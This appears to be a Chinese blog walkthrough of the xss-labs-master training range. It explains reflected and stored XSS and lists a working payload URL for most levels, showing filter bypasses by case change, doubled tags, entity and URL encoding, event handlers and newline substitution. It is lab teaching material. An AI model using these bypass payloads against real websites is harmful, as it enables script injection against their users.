实战篇——XSS漏洞xss-labs-master靶场实战
实战篇——XSS漏洞xss-labs-master靶场实战
XSS的分类
(1) 反射型XSS
攻击者通过电子邮件等方式将恶意链接发送给目标用户。当目标用户点击该链接时,服务器接收该目标用户的请求并把带有恶意脚本的页面发送给目标用户的浏览器,浏览器解析页面时就会执行恶意脚本。
(2) 存储型XSS
攻击者将恶意脚本注入到留言板中并保存,恶意脚本被永久地存储在服务器的数据库中 。 当其他用户浏览包含这条恶意留言的页面时,恶意脚本就会在浏览器中得到执行 。
XSS靶场实战
level1:
http://192.168.118.150/xss-labs-master/level1.php?name=<script>alert(1);</script>
level2:
据此判断为双引号闭合。
http://192.168.118.150/xss-labs-master/level2.php?keyword="> <script>alert(1);</script>
level3:
据此判断为单引号闭合或单引号闭合+html实体编码。
据此判断存在html实体编码。
可以使用onmouseover等事件触发,但还需要闭合单引号:
http://192.168.118.150/xss-labs-master/level3.php?keyword=' onmouseover='alert(1);
level4:
http://192.168.118.150/xss-labs-master/level4.php?keyword=" onmouseover="alert(1);
level5:
使用javascript伪协议
http://192.168.118.150/xss-labs-master/level5.php?keyword="> <a href="javascript:alert(1);">click here!</a> <img src="
level6:
大小写绕过
http://192.168.118.150/xss-labs-master/level6.php?keyword="> <SCRIPT>alert(1);</SCRIPT>
level7:
双写绕过
http://192.168.118.150/xss-labs-master/level7.php?keyword="> <sscriptcript>alert(1);</sscriptcript>
level8:
javascript被替换,可以使用html实体编码:
但此时依然无法成功弹框,需要对&和#进行url编码:
点击链接即可弹框:
http://192.168.118.150/xss-labs-master/level8.php?keyword=javascrip%26%23x74:alert(1);
level9:
可见参数必须包含http://。
在上一题的基础上使用注释符//连接http://即可:
http://192.168.118.150/xss-labs-master/level9.php?keyword=javascrip%26%23x74:alert(1);//http://
level10:
http://192.168.118.150/xss-labs-master/level10.php?t_sort=" onmouseover=alert(1); type="text
level11:
利用referer
level12:
利用user-agent
level13:
利用cookie.user,唯一需要注意的是需要删除;,否则将发生截断
level16:
可见script和/都被替换。
可以使用img标签:
可见' '也被替换。
使用回车代替空格:
http://192.168.118.150/xss-labs-master/level16.php?keyword=<img%0asrc=0%0aonerror=alert(1);>